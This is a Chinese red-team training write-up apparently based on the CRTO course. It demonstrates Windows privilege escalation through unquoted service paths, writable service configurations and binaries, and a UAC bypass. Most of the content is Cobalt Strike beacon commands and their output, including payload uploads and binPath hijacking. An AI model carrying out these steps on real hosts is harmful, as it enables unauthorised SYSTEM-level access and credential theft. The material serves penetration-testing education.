CRTO | 主机提权

admin 2024年8月15日14:11:40评论28 views字数 12350阅读41分10秒阅读模式

本章主要介绍Windows提权的几种常见方法,Windows服务、未见引号的服务路径、弱服务权限、弱服务二进制文件权限、Bypass UAC的实施方法

CRTO | 主机提权

1-概述

主机提权是指将普通用户提升到管理员或者SYSTEM权限,这不是必需的步骤,在后面的章节中讲解无需先提权即可获取特权凭据并在域中横向移动

但是提权可以获得额外能力带来战术优势,比如使用 Mimikatz 转储凭据、安装隐秘持久化或操纵防火墙等主机配置等

遵循“最小特权原则”, 只在有需要时再提权。因为提权操作可能会留下痕迹被防守方检测到,所以提权前需要计划风险与回报

常见的提权方法包括操作系统或第三方软件配置错误以及未及时补丁

SharpUp(https://github.com/GhostPack/SharpUp)可以枚举主机中任何基于配置错误的提权点

2-Windows服务

Windows服务是一种特殊类型的应用程序,通常在计算机启动时自动运行

服务是用来启动和管理核心 Windows 功能的,例如 Windows Defender、Windows 防火墙、Windows 更新等

第三方应用程序也可以安装 Windows 服务来管理它们的运行方式和时间

可以通过打开services.msc或通过sc命令行工具查看计算机上安装的服务

C:>sc query

SERVICE_NAME: Appinfo
DISPLAY_NAME: Application Information
        TYPE               : 30  WIN32
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

SERVICE_NAME: AudioEndpointBuilder
DISPLAY_NAME: Windows Audio Endpoint Builder
        TYPE               : 30  WIN32
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

以及使用PowerShell的Get-Service命令

PS C:> Get-Service | fl

Name                : AJRouter
DisplayName         : AllJoyn Router Service
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32ShareProcess

Name                : ALG
DisplayName         : Application Layer Gateway Service
Status              : Stopped
DependentServices   : {}
ServicesDependedOn  : {}
CanPauseAndContinue : False
CanShutdown         : False
CanStop             : False
ServiceType         : Win32OwnProcess

服务的以下属性需要关注:

1-二进制程序路径
服务的实际可执行文件 (.exe) 所在的路径,Windows 服务通常位于C:Windowssystem32目录中,第三方服务位于C:Program Files和C:Program Files (x86)目录中

2-启动类型
决定服务何时启动

    Automatic:服务在启动时立即启动
    Automatic (Delayed Start):服务在启动后等待一小段时间再启动(主要是传统选项,旨在帮助桌面更快地加载)
    Manual:仅当特别要求时,服务才会启动
    Disabled:服务已禁用且不会运行

3-服务状态
服务的当前状态。

    Running:服务正在运行
    Stopped:服务未运行
    StartPending:已要求服务启动并且正在执行其启动程序
    StopPending:已要求服务停止并正在执行其关闭程序

4-登录身份
配置服务运行的用户帐户

可以是域或本地帐户,服务通常以高权限帐户(甚至是域管理员)或本地系统的身份运行,这就是为什么服务可以成为本地和域权限提升的重点

5-支持和依赖
当前服务运行所依赖的服务,或依赖于此服务运行的其他服务,用于判断更改后带来的潜在影响

与文件和文件夹一样服务本身(而不仅仅是 .exe)也分配有权限,控制了哪些用户可以修改、启动或停止服务

一些高度敏感的服务(例如 Windows Defender)无法停止,即使是管理员也无法停止

其他服务的权限会弱一些,有些允许普通用户通过修改它们进行提权

在通过修改服务进行提权后,有时需要重新启动服务(如果已停止,则启动它)才可以完成提权。如果当前用户有重启的权限,可以使用管理工具完成重启。如没有重启权限,则需要等待系统自动重启

根据OPSEC原则,完成提权后尽量恢复服务配置。确保不会中断关键业务服务

3-未加引号的服务路径

未加引号的服务路径是指服务二进制文件的路径未用引号括起来,就其本身而言不是问题,但在特定条件下可导致提权

WMI 可用于提取每个服务及其可执行文件的列表。以下是一些示例:

beacon> run wmic service get name, pathname

Name                    PathName
ALG                     C:WindowsSystem32alg.exe
AppVClient              C:Windowssystem32AppVClient.exe
Sense                   "C:Program FilesWindows Defender Advanced Threat ProtectionMsSense.exe"
[...snip...]
VulnService1            C:Program FilesVulnerable ServicesService 1.exe

可以看到ALG 和 AppVClient 的路径没有加引号,但 Sense 的路径加了引号,不同之处在于后者路径中有空格

VulnService1的路径中有空格,也没有加引号,这是可被利用的必备条件之一

当 Windows 尝试读取此可执行文件的路径时,会将空格解释为终止符。因此,它将尝试执行以下操作(按顺序):

C:Program.exe
C:Program FilesVulnerable.exe
C:Program FilesVulnerable ServicesService.exe

如果我们可以将二进制文件放入上述任何路径中,服务就会在实际路径之前执行它

保证有权限写入其中任何一个路径,这是可被利用的必备条件之二

PowerShell的Get-Acl命令可以显示各种对象(包括文件和目录)的权限。

beacon> powershell Get-Acl -Path "C:Program FilesVulnerable Services" | fl

Path   : Microsoft.PowerShell.CoreFileSystem::C:Program FilesVulnerable Services
Owner  : BUILTINAdministrators
Group  : DEVDomain Users
Access : BUILTINUsers Allow  CreateFiles, Synchronize
         NT SERVICETrustedInstaller Allow  FullControl
         NT SERVICETrustedInstaller Allow  268435456
         NT AUTHORITYSYSTEM Allow  FullControl
         NT AUTHORITYSYSTEM Allow  268435456
         BUILTINAdministrators Allow  FullControl
         BUILTINAdministrators Allow  268435456
         BUILTINUsers Allow  ReadAndExecute, Synchronize
         BUILTINUsers Allow  -1610612736
         CREATOR OWNER Allow  268435456
         APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES Allow  -1610612736
         APPLICATION PACKAGE AUTHORITYALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITYALL RESTRICTED APPLICATION PACKAGES Allow  -1610612736
Audit  : 
Sddl   : O:BAG:DUD:AI(A;;0x100002;;;BU)(A;ID;FA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;CII
         OID;GA;;;S-1-5-80-956008885-3418522649-1831038044-1853292631-2271478464)(A;ID;FA;;;SY)(A;OICIIOID;GA;;;SY)(A;I
         D;FA;;;BA)(A;OICIIOID;GA;;;BA)(A;ID;0x1200a9;;;BU)(A;OICIIOID;GXGR;;;BU)(A;OICIIOID;GA;;;CO)(A;ID;0x1200a9;;;A
         C)(A;OICIIOID;GXGR;;;AC)(A;ID;0x1200a9;;;S-1-15-2-2)(A;OICIIOID;GXGR;;;S-1-15-2-2)

从输出中可以看到,BUILTINUsers对C:Program FilesVulnerable Services目录具有CreateFiles权限,可以上传恶意二进制文件来劫持这个未加引号的路径,使用SharpUp可以列出符合这些条件的任何服务

beacon> execute-assembly C:ToolsSharpUpSharpUpbinReleaseSharpUp.exe audit UnquotedServicePath

=== SharpUp: Running Privilege Escalation Checks ===

=== Services with Unquoted Paths ===
    Service 'VulnService1' (StartMode: Automatic) has executable 'C:Program FilesVulnerable ServicesService 1.exe', but 'C:Program FilesVulnerable ServicesService' is modifable.

滥用服务的有效负载必须是特定的“服务二进制文件”,因为它们需要与服务控制管理器交互。使用“生成所有有效负载”选项时,这些有效负载的文件名中都有svc字样

建议在提权时使用绑定到本地主机的 TCP beacon

beacon> cd C:Program FilesVulnerable Services
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe

beacon> upload C:Payloadstcp-local_x64.svc.exe
beacon> mv tcp-local_x64.svc.exe Service.exe
beacon> ls

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 5kb      fil     02/23/2021 15:04:13   Service 3.exe
 290kb    fil     03/03/2021 11:11:27   Service.exe

beacon> run sc stop VulnService1

SERVICE_NAME: VulnService1 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 3  STOP_PENDING 
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

beacon> run sc start VulnService1

SERVICE_NAME: VulnService1 
        TYPE               : 10  WIN32_OWN_PROCESS  
        STATE              : 2  START_PENDING 
                                (NOT_STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x7d0
        PID                : 4384
        FLAGS              : 

默认情况下,普通用户无法停止或启动服务,因此通常需要等待计算机重新启动

启动服务时,其状态为START_PENDING。随后使用sc query VulnService1检查其状态,处于STOPPED 状态。查看4444端口已经开始监听

beacon> run netstat -anp tcp
[...snip...]
TCP    127.0.0.1:4444         0.0.0.0:0              LISTENING

Beacon 正在等待连接,通过connect命令进行连接

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

CRTO | 主机提权

要恢复服务,只需删除Service.exe并重新启动该服务

4-弱服务权限

简单来说就是服务配置可以修改、服务可以停止和启动,修改服务二进制文件路径后重启服务

枚举弱服务权限提权漏洞

beacon> execute-assembly C:ToolsSharpUpSharpUpbinReleaseSharpUp.exe audit ModifiableServices

=== Modifiable Services ===

    Service 'VulnService2' (State: Running, StartMode: Auto)

显示Service 2.exe Modifiable,用PS脚本(https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/)查看对上面程序的具体权限

beacon> powershell-import C:ToolsGet-ServiceAcl.ps1
beacon> powershell Get-ServiceAcl -Name VulnService2 | select -expand Access

ServiceRights     : ChangeConfig, Start, Stop
AccessControlType : AccessAllowed
IdentityReference : NT AUTHORITYAuthenticated Users
IsInherited       : False
InheritanceFlags  : None
PropagationFlags  : None

显示有ChangeConfig, Start, Stop权限,有更改配置的权限

查看当前服务配置

beacon> run sc qc VulnService2
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: VulnService2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : "C:Program FilesVulnerable ServicesService 2.exe"
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService2
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

二进制文件路径是"C:Program FilesVulnerable ServicesService 2.exe",准备一个payload上传到C:Temptcp-local_x64.svc.exe,编辑指定上面服务的config二进制文件

beacon> mkdir C:Temp
beacon> cd C:Temp
beacon> upload C:Payloadstcp-local_x64.svc.exe

beacon> run sc config VulnService2 binPath= C:Temptcp-local_x64.svc.exe
[SC] ChangeServiceConfig SUCCESS

注意:后面的空格binPath= 是固定格式的

验证更改后的服务信息

beacon> run sc qc VulnService2

SERVICE_NAME: Vuln-Service-2
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:Temptcp-local_x64.svc.exe
        LOAD_ORDER_GROUP   : 
        TAG                : 0
        DISPLAY_NAME       : VulnService2
        DEPENDENCIES       : 
        SERVICE_START_NAME : LocalSystem

因为服务正在运行,需要重启服务,然后连接shell

beacon> run sc stop VulnService2
beacon> run sc start VulnService2

beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

恢复服务配置

beacon> run sc config VulnService2 binPath= ""C:Program FilesVulnerable ServicesService 2.exe""
[SC] ChangeServiceConfig SUCCESS

注意:双引号的转义字符

5-弱服务二进制文件权限

简单来说就是服务的二进制文件可以被替换,可以重启服务

直接替换服务的exe程序进行提权

beacon> powershell Get-Acl -Path "C:Program FilesVulnerable ServicesService 3.exe" | fl

Path   : Microsoft.PowerShell.CoreFileSystem::C:Program FilesVulnerable ServicesService 3.exe
Owner  : BUILTINAdministrators
Group  : DEVDomain Users
Access : BUILTINUsers Allow  Modify, Synchronize
         NT AUTHORITYSYSTEM Allow  FullControl
         BUILTINAdministrators Allow  FullControl
         BUILTINUsers Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITYALL APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
         APPLICATION PACKAGE AUTHORITYALL RESTRICTED APPLICATION PACKAGES Allow  ReadAndExecute, Synchronize
Audit  : 
Sddl   : O:BAG:DUD:AI(A;;0x1301bf;;;BU)(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;0x1200a9;;;BU)(A;ID;0x1200a9;;;AC)(A;ID;0x1200
         a9;;;S-1-15-2-2)

输出表明BUILTINUsers对Service 3.exe具有修改权限。用其他内容覆盖该二进制文件(请确保先进行备份

beacon> download Service 3.exe
[*] started download of C:Program FilesVuln ServicesService 3.exe (5120 bytes)
[*] download of Service 3.exe is complete

复制有效负载,同时将其重命名为 Service 3.exe

PS C:Payloads> copy "tcp-local_x64.svc.exe" "Service 3.exe"

上传报错

beacon> upload C:PayloadsService 3.exe
[-] could not upload file: 32 - ERROR_SHARING_VIOLATION

使用net helpmsg命令查看报错信息

C:>net helpmsg 32
The process cannot access the file because it is being used by another process.

先停止程序,再替换,最后重启生效

beacon> run sc stop VulnService3
beacon> upload C:PayloadsService 3.exe
beacon> ls
[*] Listing: C:Program FilesVuln Services

 Size     Type    Last Modified         Name
 ----     ----    -------------         ----
 5kb      fil     02/23/2021 15:04:13   Service 1.exe
 5kb      fil     02/23/2021 15:04:13   Service 2.exe
 290kb    fil     03/03/2021 11:38:24   Service 3.exe

beacon> run sc start VulnService3
beacon> connect localhost 4444
[+] established link to child beacon: 10.10.123.102

6-Bypass UAC

用户帐户控制 (UAC) 是 Windows 中的一项技术,它强制应用程序在请求管理访问令牌时提示用户选择同意。Bob 是Workstation 2上的本地管理员,但是如果我们打开命令提示符并尝试添加新的本地用户,我们会被拒绝访问。此 cmd.exe 实例在“中等完整性”下运行

C:Usersbfarmer>net user hacker Passw0rd! /add
System error 5 has occurred.

Access is denied.

C:Usersbfarmer>whoami /groups

Mandatory LabelMedium Mandatory Level

右键单击cmd.exe并选择“以管理员身份运行”,这将导致出现 UAC 提示

CRTO | 主机提权

单击“是”后,命令提示符才具有足够的权限来更改系统配置,因为它现在将以“高完整性”运行

C:Windowssystem32>whoami /groups

Mandatory LabelHigh Mandatory Level

UAC“绕过”是一种技术,它允许中等完整性进程提升自身或生成高完整性的新进程,而无需提示用户同意。高完整性对于攻击者来说很重要,因为它是各种后利用操作(例如转储凭据)所必需的

Beacon 有一些内置的 UAC 绕过方法,还有一些通过Elevate Kit(https://github.com/cobalt-strike/ElevateKit)提供的(为方便使用,可将其预加载到 Cobalt Strike 中)。这些方法通过命令elevate完成

beacon> elevate uac-schtasks tcp-local
[*] Tasked Beacon to run windows/beacon_bind_tcp (127.0.0.1:4444) in a high integrity context
[+] established link to child beacon: 10.10.123.102

CRTO | 主机提权

原文始发于微信公众号(高级红队专家):CRTO | 主机提权

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年8月15日14:11:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CRTO | 主机提权https://cn-sec.com/archives/3067699.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息